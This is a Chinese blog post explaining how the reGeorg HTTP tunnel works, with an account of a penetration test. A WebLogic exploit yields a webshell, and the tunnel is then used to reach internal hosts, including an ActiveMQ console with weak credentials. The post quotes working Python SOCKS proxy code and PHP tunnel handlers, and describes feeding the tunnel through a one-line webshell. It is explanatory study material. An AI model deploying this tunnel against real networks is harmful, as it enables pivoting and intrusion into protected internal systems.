reGeorg简单分析

适用场景

一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格。只允许http协议进出。无法直接将端口转发

或者是内网主机通过端口映射到外网主机,并且内网主机无法访问外网。这时想进行内网渗透时,也可使用该工具代理进入内网,通过http协议传达请求

来自Screw师傅的分析文章(图片绘制的流程超级清楚,🐂🍺)

实战经历

一次渗透经历,通过weblogic CVE-2019-2728漏洞直接获取webshell后,遇到了一个内网环境

发现获取shell到的主机为内网映射端口到外网的主机,通过大马执行CMD命令发现是在内网中,且ping不通外网,这时候无法上线内网主机

这时候需要代理进内网,这里使用了reGeorg来打通http隧道,顺便学习了一波

首先上传tunnel.jsp,发现已经有人搞过了,直接用他传的jsp的tunnel吧

 

 

 

python2启动代理服务器脚本

pyton2 reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u  http://xx/tunnel.jsp

配置下proxifier

加一个SOCKS5代理服务器地址

这里我没有用全局,没有必要,就设置某些应用程序使用该代理,这里设置了下firefox,由于是客户的内网,之前已经连内网进入看了一下,记录了一个内网的地址的web页面,测试连接是否正常。设置了下Target Hosts为内网的C段地址,这样的话,就没有太多没用的请求影响我们的通道

之前发现的是一个admin/admin弱口令登录的ActiveMQ的中间件,版本是5.1的,应该存在反序列化漏洞,这都是昨天测试的。这里测试下通道是否正常

 

通道正常,直通内网,这里随便点一个链接,通过wireshark看一下发送的web请求。其实就算一个中转一样,通过将流量发送到web跳板机,流量的内容就是一个post,然后web跳板机上的tunnel.jsp将流量转发到内网后再返回数据

今天这个关站了,reGeorgSocksProxy如何传输到内网的原理我还不太理解。找了一个之前拿到shell的继续测试一下

内网IP:

 

这次可以ping通外网,这种情况就是可以直接上线到CS,然后常规内网渗透

这里存在内网,我就是想了解reGeorgSocksProxy传输的一个过程

首先是探测tunnel服务是否正常

然后我通过proxifier代理浏览器web请求

 

 抓到的Http流,这里首先是建立一个connect

然后发送了一个read请求去读取内容

获取了相应内容

尝试任意发送一个get请求,然后抓包

对内网发起的请求对应的是Socks代理服务器发送到tunnel.jsp的get请求?Cmd=forward,然后POST内容就是我们的http请求包。forward后立马发送一个?Cmd=read的get请求去读取结果

首先看一下reGeorgSocksProxy.py,主要功能是在本地起一个socks代理服务器,然后通过http形式转发请求到隧道(主要是跟着Screw师傅的分析走的)

这里是起一个socks代理服务器,监听的地址和端口为命令行输入的-l 监听地址和-p 监听端口

READBUFSIZE = args.read_buff
    servSock = socket(AF_INET, SOCK_STREAM)
    servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    servSock.bind((args.listen_on, args.listen_port))
    servSock.listen(1000)
    while True:
        try:
            sock, addr_info = servSock.accept()
            sock.settimeout(SOCKTIMEOUT)
            log.debug("Incomming connection")
            session(sock, args.url).start()
        except KeyboardInterrupt, ex:
            break
        except Exception, e:
            log.error(e)
    servSock.close()

然后跟随类重写thread的session类查看

判断代理服务器收到的流量是socks5还是socks4的流量,然后进入对应的解析流量的函数

    def handleSocks(self, sock):
        # This is where we setup the socks connection
        ver = sock.recv(1)
        if ver == "\x05":
            return self.parseSocks5(sock)
        elif ver == "\x04":
            return self.parseSocks4(sock)

解析本地代理服务器获取到的数据获得目的IP和端口

    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods, methods = (sock.recv(1), sock.recv(1))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == "\x02":  # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == "\x01":  # IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = "." .join([str(ord(i)) for i in target])
        elif atyp == "\x03":  # Hostname
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = "".join([unichr(ord(i)) for i in target])
        elif atyp == "\x04":  # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr = []
            for i in xrange(len(target) / 2):
                tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1])))
            target = ":".join(tmp_addr)
        targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
        if cmd == "\x02":  # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == "\x03":  # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == "\x01":  # CONNECT
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target, targetPort)
            if self.cookie:
                sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                return True
            else:
                sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort))

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

然后当客户端与代理服务器建立连接后,调用setupRemoteSession函数然后向tunnel发送一个connect请求

如果请求成功,会将生成的sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)

下面的reader和writer函数就不看了,就是调用线程,然后while true读取返回数据和发送请求内容的

    def setupRemoteSession(self, target, port):
        headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
        self.target = target
        self.port = port
        cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        # response = conn.request("POST", self.httpPath, params, headers)
        response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
            else:
                if response.getheader("X-ERROR") is not None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data))
        conn.close()
        return cookie

下面对着php的socket tunnel来看,tunnel.php获取到ip和port,然后与目标建立一个socket连接(TCP协议类型)

当session存在生效时,while循环就一直挂着,当$_SESSION["writebuf"]不为空的时候,就将writebuf通过socket传入,然后只要获取内网机器传回来的数据后就存放到$readBuff中

session_write_close()的作用

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    set_time_limit(0);
    $headers=apache_request_headers();
    $cmd = $headers["X-CMD"];
    switch($cmd){
        case "CONNECT":
            {
                $target = $headers["X-TARGET"];
                $port = (int)$headers["X-PORT"];
                $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                if ($sock === false)
                {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed creating socket');
                    return;
                }
                $res = @socket_connect($sock, $target, $port);
                if ($res === false)
                {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed connecting to target');
                    return;
                }
                socket_set_nonblock($sock);
                @session_start();
                $_SESSION["run"] = true;
                $_SESSION["writebuf"] = "";
                $_SESSION["readbuf"] = "";
                ob_end_clean();
                header('X-STATUS: OK');
                header("Connection: close");
                ignore_user_abort();
                ob_start();
                $size = ob_get_length();
                header("Content-Length: $size");
                ob_end_flush();
                flush();
                session_write_close();

                while ($_SESSION["run"])
                {
                    $readBuff = "";
                    @session_start();
                    $writeBuff = $_SESSION["writebuf"];
                    $_SESSION["writebuf"] = "";
                    session_write_close();
                    if ($writeBuff != "")
                    {
                        $i = socket_write($sock, $writeBuff, strlen($writeBuff));
                        if($i === false)
                        {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed writing socket');
                        }
                    }
                    while ($o = socket_read($sock, 512)) {
                    if($o === false)
                        {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed reading from socket');
                        }
                        $readBuff .= $o;
                    }
                    if ($readBuff!=""){
                        @session_start();
                        $_SESSION["readbuf"] .= $readBuff;
                        session_write_close();
                    }
                    #sleep(0.2);
                }
                socket_close($sock);
            }
            break;

建立完连接后,因为socks代理服务器脚本中是先进行read的线程启动,所以会先去read一次,然后再forward一次

发送forward请求后,tunnel脚本通过php://input获取本地代理脚本发来的post的数据,然后将浏览器对内网机器的http访问请求存入$_SESSION["writebuf"](即POST的内容)

        case "FORWARD":
            {
                @session_start();
                $running = $_SESSION["run"];
                session_write_close();
                if(!$running){
                    header('X-STATUS: FAIL');
                    header('X-ERROR: No more running, close now');
                    return;
                }
                header('Content-Type: application/octet-stream');
                $rawPostData = file_get_contents("php://input");
                if ($rawPostData) {
                    @session_start();
                    $_SESSION["writebuf"] .= $rawPostData;
                    session_write_close();
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: POST request read filed');
                }
            }
            break;
    }

上面就是通过tunnel获取到对内网机器的真实http请求,然后通过建立socket通道将请求转发给真正的目标机器

然后再来看下发送的read请求,tunnel收到read命令后,会将$_SESSION["readbuf"]存入$readBuffer变量中,然后只要约定的session会话还在,就会返回$readBuffer的内容

        case "READ":
            {
                @session_start();
                $readBuffer = $_SESSION["readbuf"];
                $_SESSION["readbuf"]="";
                $running = $_SESSION["run"];
                session_write_close();
                if ($running) {
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    echo $readBuffer;
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: RemoteSocket read filed');
                    return;
                }
            }
            break;

上面的流程就是发送connect使tunnel与目标机器建立socket连接,当session会话存在时,通过循环判断是否有需要传递的内容,如果有,就会通过socket连接向目标机器发送请求内容,并且会不断从与目标机器建立的socket连接中获取数据,如果存在就写入readBuff变量中。接着发送forward请求,将真实的数据发送给tunnel,然后tunnel获取到post数据转发到socket连接中,发送给目标机器,然后将目标机器返回的数据存放到到$_SESSION["readbuf"]中,等待下一次read请求来获取该内容。基本流程就是这样

但是稍微遇到了一些问题,发现有时候流量挺大的,本地代理服务器在获取到数据后,然后会不停发送read请求

 

通过一句话木马直接写入的项目:

https://github.com/zsxsoft/reGeorg

LCTF 2018 中 zsx 师傅,将这款工具的 php 部分进行了修改,实现了只要远端有一个 一句话木马就能直接运行(实际上本质就是将这个代理脚本作为数据传到小马里面 eval,其他语言的部分其实可以根据自己所需进行修改如下图)

这是读取代理脚本到变量

 

 

 这里是将变量作为参数传入一句话

 

 

 

 参考文章:

https://www.k0rz3n.com/2019/07/27/reGeorg%20%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90(%E4%BB%A5%20php%20%E4%B8%BA%E4%BE%8B)/

http://screwsec.com/2020/06/05/reGeorg%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/#%E8%83%8C%E6%99%AF

posted @ 2020-08-23 01:27  yunying  阅读(2149)  评论(0编辑  收藏  举报